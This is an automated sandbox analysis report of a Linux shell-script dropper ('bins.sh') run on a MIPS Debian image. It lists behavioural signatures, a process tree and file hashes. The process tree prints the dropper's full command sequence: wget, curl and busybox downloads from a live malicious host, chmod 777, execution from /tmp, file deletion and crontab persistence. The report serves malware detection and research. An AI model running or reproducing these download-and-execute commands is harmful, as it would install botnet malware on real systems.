Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    21-11-2024 13:51

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    407eedfd0fc31b79bcc6095f30040ee7

  • SHA1

    2719b6893563784feb6a862fa94b326302684614

  • SHA256

    f7bfdfcb073cff1ac3e6e7850b9143978f8d5732c1c36ed8866b2d96666e203a

  • SHA512

    070764927cbbbdde09de2978a464399a4b14354ac73a6c798e76b7cbf581bca621b09f638e8eb91d8a61498c85d72b454370b56e0134304924a45ecfcdd57262

  • SSDEEP

    192:6Oq+jKfddd9dmHnmx1KGHnmx1kSddd9dD:6Oq+jKfddd9daUSddd9dD

Malware Config

Signatures

  • Contacts a large (1524) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 29 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 25 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:704
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:706
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:708
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:725
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:732
        • /bin/chmod
          chmod 777 ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
          2⤵
          • File and Directory Permissions Modification
          PID:735
        • /tmp/ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
          ./ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
          2⤵
          • Executes dropped EXE
          PID:736
        • /bin/rm
          rm ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
          2⤵
            PID:738
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/5oApK7B8by3Wk3ZADoyKN4hDyXY1pR5Z3l
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:739
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/5oApK7B8by3Wk3ZADoyKN4hDyXY1pR5Z3l
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:740
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/5oApK7B8by3Wk3ZADoyKN4hDyXY1pR5Z3l
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:742
          • /bin/chmod
            chmod 777 5oApK7B8by3Wk3ZADoyKN4hDyXY1pR5Z3l
            2⤵
            • File and Directory Permissions Modification
            PID:743
          • /tmp/5oApK7B8by3Wk3ZADoyKN4hDyXY1pR5Z3l
            ./5oApK7B8by3Wk3ZADoyKN4hDyXY1pR5Z3l
            2⤵
            • Executes dropped EXE
            PID:744
          • /bin/rm
            rm 5oApK7B8by3Wk3ZADoyKN4hDyXY1pR5Z3l
            2⤵
              PID:746
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/5iigumHSRpu9GPieEZIqexhku5jQrWoIWH
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:747
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/5iigumHSRpu9GPieEZIqexhku5jQrWoIWH
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:748
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/5iigumHSRpu9GPieEZIqexhku5jQrWoIWH
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:756
            • /bin/chmod
              chmod 777 5iigumHSRpu9GPieEZIqexhku5jQrWoIWH
              2⤵
              • File and Directory Permissions Modification
              PID:759
            • /tmp/5iigumHSRpu9GPieEZIqexhku5jQrWoIWH
              ./5iigumHSRpu9GPieEZIqexhku5jQrWoIWH
              2⤵
              • Executes dropped EXE
              PID:760
            • /bin/rm
              rm 5iigumHSRpu9GPieEZIqexhku5jQrWoIWH
              2⤵
                PID:764
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/nC7qQuOe2nzj1Cu9oZHjYf6mgfznq6tbV2
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:765
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/nC7qQuOe2nzj1Cu9oZHjYf6mgfznq6tbV2
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:776
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/nC7qQuOe2nzj1Cu9oZHjYf6mgfznq6tbV2
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:788
              • /bin/chmod
                chmod 777 nC7qQuOe2nzj1Cu9oZHjYf6mgfznq6tbV2
                2⤵
                • File and Directory Permissions Modification
                PID:794
              • /tmp/nC7qQuOe2nzj1Cu9oZHjYf6mgfznq6tbV2
                ./nC7qQuOe2nzj1Cu9oZHjYf6mgfznq6tbV2
                2⤵
                • Executes dropped EXE
                PID:796
              • /bin/rm
                rm nC7qQuOe2nzj1Cu9oZHjYf6mgfznq6tbV2
                2⤵
                  PID:800
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/1noG6Xt4lDdMaif1tY42NjRjfuEHXlBOdX
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:801
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/1noG6Xt4lDdMaif1tY42NjRjfuEHXlBOdX
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:808
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/1noG6Xt4lDdMaif1tY42NjRjfuEHXlBOdX
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:811
                • /bin/chmod
                  chmod 777 1noG6Xt4lDdMaif1tY42NjRjfuEHXlBOdX
                  2⤵
                  • File and Directory Permissions Modification
                  PID:812
                • /tmp/1noG6Xt4lDdMaif1tY42NjRjfuEHXlBOdX
                  ./1noG6Xt4lDdMaif1tY42NjRjfuEHXlBOdX
                  2⤵
                  • Executes dropped EXE
                  PID:813
                • /bin/rm
                  rm 1noG6Xt4lDdMaif1tY42NjRjfuEHXlBOdX
                  2⤵
                    PID:815
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/OsOjlj43KwfZGfmSP5NkQi9VoCK5LFme3i
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:816
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/OsOjlj43KwfZGfmSP5NkQi9VoCK5LFme3i
                    2⤵
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:817
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/OsOjlj43KwfZGfmSP5NkQi9VoCK5LFme3i
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:822
                  • /bin/chmod
                    chmod 777 OsOjlj43KwfZGfmSP5NkQi9VoCK5LFme3i
                    2⤵
                    • File and Directory Permissions Modification
                    PID:823
                  • /tmp/OsOjlj43KwfZGfmSP5NkQi9VoCK5LFme3i
                    ./OsOjlj43KwfZGfmSP5NkQi9VoCK5LFme3i
                    2⤵
                    • Executes dropped EXE
                    PID:824
                  • /bin/rm
                    rm OsOjlj43KwfZGfmSP5NkQi9VoCK5LFme3i
                    2⤵
                      PID:826
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/SRWbjNIyIC9IdwY12t493h4zx5HYMueuvh
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:827
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/SRWbjNIyIC9IdwY12t493h4zx5HYMueuvh
                      2⤵
                      • Reads runtime system information
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:842
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/SRWbjNIyIC9IdwY12t493h4zx5HYMueuvh
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:854
                    • /bin/chmod
                      chmod 777 SRWbjNIyIC9IdwY12t493h4zx5HYMueuvh
                      2⤵
                      • File and Directory Permissions Modification
                      PID:857
                    • /tmp/SRWbjNIyIC9IdwY12t493h4zx5HYMueuvh
                      ./SRWbjNIyIC9IdwY12t493h4zx5HYMueuvh
                      2⤵
                      • Executes dropped EXE
                      PID:859
                    • /bin/rm
                      rm SRWbjNIyIC9IdwY12t493h4zx5HYMueuvh
                      2⤵
                        PID:862
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/83cQfFuOsFjJML2e2Udqwsrnyz5dozUP1h
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:863
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/83cQfFuOsFjJML2e2Udqwsrnyz5dozUP1h
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:866
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/83cQfFuOsFjJML2e2Udqwsrnyz5dozUP1h
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:868
                      • /bin/chmod
                        chmod 777 83cQfFuOsFjJML2e2Udqwsrnyz5dozUP1h
                        2⤵
                        • File and Directory Permissions Modification
                        PID:869
                      • /tmp/83cQfFuOsFjJML2e2Udqwsrnyz5dozUP1h
                        ./83cQfFuOsFjJML2e2Udqwsrnyz5dozUP1h
                        2⤵
                        • Executes dropped EXE
                        • Renames itself
                        • Reads runtime system information
                        PID:870
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:872
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                                PID:873
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:874
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:875
                            • /bin/rm
                              rm 83cQfFuOsFjJML2e2Udqwsrnyz5dozUP1h
                              2⤵
                                PID:877
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/FVpJI4CJgxo7RZvy2fgv5KzzLVCmEby186
                                2⤵
                                • System Network Configuration Discovery
                                PID:880
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/FVpJI4CJgxo7RZvy2fgv5KzzLVCmEby186
                                2⤵
                                • System Network Configuration Discovery
                                PID:881
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/FVpJI4CJgxo7RZvy2fgv5KzzLVCmEby186
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:962
                              • /bin/chmod
                                chmod 777 FVpJI4CJgxo7RZvy2fgv5KzzLVCmEby186
                                2⤵
                                • File and Directory Permissions Modification
                                PID:963
                              • /tmp/FVpJI4CJgxo7RZvy2fgv5KzzLVCmEby186
                                ./FVpJI4CJgxo7RZvy2fgv5KzzLVCmEby186
                                2⤵
                                • Executes dropped EXE
                                PID:968
                              • /bin/rm
                                rm FVpJI4CJgxo7RZvy2fgv5KzzLVCmEby186
                                2⤵
                                  PID:970
                                • /usr/bin/wget
                                  wget http://conn.masjesu.zip/bins/VKGgJzRNuzIU5uBZ4bX0dqeTZxy8Rik1oZ
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:971
                                • /usr/bin/curl
                                  curl -O http://conn.masjesu.zip/bins/VKGgJzRNuzIU5uBZ4bX0dqeTZxy8Rik1oZ
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:973

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/1noG6Xt4lDdMaif1tY42NjRjfuEHXlBOdX

                                Filesize

                                122KB

                                MD5

                                cd3d4b9c643e5b473fb4d88ed05f0716

                                SHA1

                                64ee7a97418583d759eaea8000890cc3bae1b5f4

                                SHA256

                                0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                SHA512

                                164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                              • /tmp/5iigumHSRpu9GPieEZIqexhku5jQrWoIWH

                                Filesize

                                127KB

                                MD5

                                89077b7bd4bcafca7713be43635c4862

                                SHA1

                                fc02edb8fba29ea8ee99e6157ef8560334530052

                                SHA256

                                78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                SHA512

                                1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                              • /tmp/5oApK7B8by3Wk3ZADoyKN4hDyXY1pR5Z3l

                                Filesize

                                141KB

                                MD5

                                3ca8decdb1e52c423c521bfff02ac200

                                SHA1

                                8621ecd6807109b8541912ad9e134f6fb49bfd48

                                SHA256

                                dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                SHA512

                                b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                              • /tmp/83cQfFuOsFjJML2e2Udqwsrnyz5dozUP1h

                                Filesize

                                151KB

                                MD5

                                6c583043d91c55aa470c08c87058e917

                                SHA1

                                abf65a5b9bba69980278ad09356e53de8bb89439

                                SHA256

                                2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                SHA512

                                82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                              • /tmp/FVpJI4CJgxo7RZvy2fgv5KzzLVCmEby186

                                Filesize

                                107KB

                                MD5

                                eb9c3a0de91fcf16ba17cb24608df68c

                                SHA1

                                09d95a7d70d5e115d103be51edff7c498d272fac

                                SHA256

                                dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                SHA512

                                9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                              • /tmp/OsOjlj43KwfZGfmSP5NkQi9VoCK5LFme3i

                                Filesize

                                112KB

                                MD5

                                05d7857dcead18bbd86d2935f591873c

                                SHA1

                                34d18f41ef35f93d5364ce3e24d74730a4e91985

                                SHA256

                                2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                SHA512

                                d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                              • /tmp/SRWbjNIyIC9IdwY12t493h4zx5HYMueuvh

                                Filesize

                                99KB

                                MD5

                                9438d9bc392bcf300a5583b6df5bc8f6

                                SHA1

                                375a6ae34b516f6f3eeea8030c4084f585017efa

                                SHA256

                                68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                SHA512

                                1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                              • /tmp/ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC

                                Filesize

                                98KB

                                MD5

                                5141342d0df8699fa32a6b066a0c592e

                                SHA1

                                8157673225bd5182f16215e2aa823a25ca2d4fbc

                                SHA256

                                54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                SHA512

                                d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                              • /tmp/nC7qQuOe2nzj1Cu9oZHjYf6mgfznq6tbV2

                                Filesize

                                111KB

                                MD5

                                ca897a38f23ec23521ce0b1b83f8422d

                                SHA1

                                b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                SHA256

                                043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                SHA512

                                10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                              • /var/spool/cron/crontabs/tmp.Uexojj

                                Filesize

                                210B

                                MD5

                                4eaa8bceab1bca77ac1ee27226e0cf34

                                SHA1

                                0edd521a6d8e90f30e8786570a2c56591a7b61b4

                                SHA256

                                3a953b628f20b88a01267897fa558c90c5eb72deb79c4127a03cad9504602857

                                SHA512

                                7eb92fe9f4fb2f06f6b59380dd3d6c44e5ba33b2b8673424c81123382b430a770729f00092f59577a5a9a5654430deb6c1abc9d201523e630daf7d1610ba6e7f